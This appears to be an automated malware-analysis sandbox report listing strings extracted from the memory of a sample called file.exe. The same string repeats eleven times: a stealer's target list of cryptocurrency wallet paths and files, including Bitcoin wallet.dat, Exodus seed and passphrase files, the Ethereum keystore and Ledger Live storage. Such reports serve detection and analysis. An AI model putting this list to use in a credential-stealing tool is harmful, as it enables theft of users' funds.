Source: file.exe, 00000000.00000002.2711220384.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2711220384.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2711220384.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2711220384.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2711220384.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2711220384.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2711220384.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2711220384.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2711220384.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2711220384.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2711220384.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
